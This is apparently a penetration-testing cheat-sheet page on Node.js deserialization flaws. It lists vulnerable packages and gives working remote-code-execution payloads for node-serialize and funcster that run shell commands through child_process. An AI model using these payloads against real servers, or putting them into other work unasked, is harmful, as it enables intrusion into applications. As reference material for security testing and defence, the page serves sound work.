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Node Deserialization

Node.js deserialization refers to the process of reconstructing JavaScript objects from a serialized format, such as JSON, BSON, or other formats that represent structured data. In Node.js applications, serialization and deserialization are commonly used for data storage, caching, and inter-process communication.

Summary

Methodology

  • In Node source code, look for:

    • node-serialize
    • serialize-to-js
    • funcster

node-serialize

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Untrusted data passed into the unserialize() function can be exploited to achieve arbitrary code execution by passing a JavaScript Object with an Immediately Invoked Function Expression (IIFE).

  1. Generate a serialized payload 
    var y = {
    rce : function(){
        require('child_process').exec('ls /', function(error,
        stdout, stderr) { console.log(stdout) });
    },
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));
  2. Add bracket () to force the execution 
    {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /', function(error,stdout, stderr) { console.log(stdout) });}()"}
  3. Send the payload

funcster

{"rce":{"__js_function":"function(){CMD=\"cmd /c calc\";const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').exec(CMD,function(error,stdout,stderr){console.log(stdout)});}()"}}

References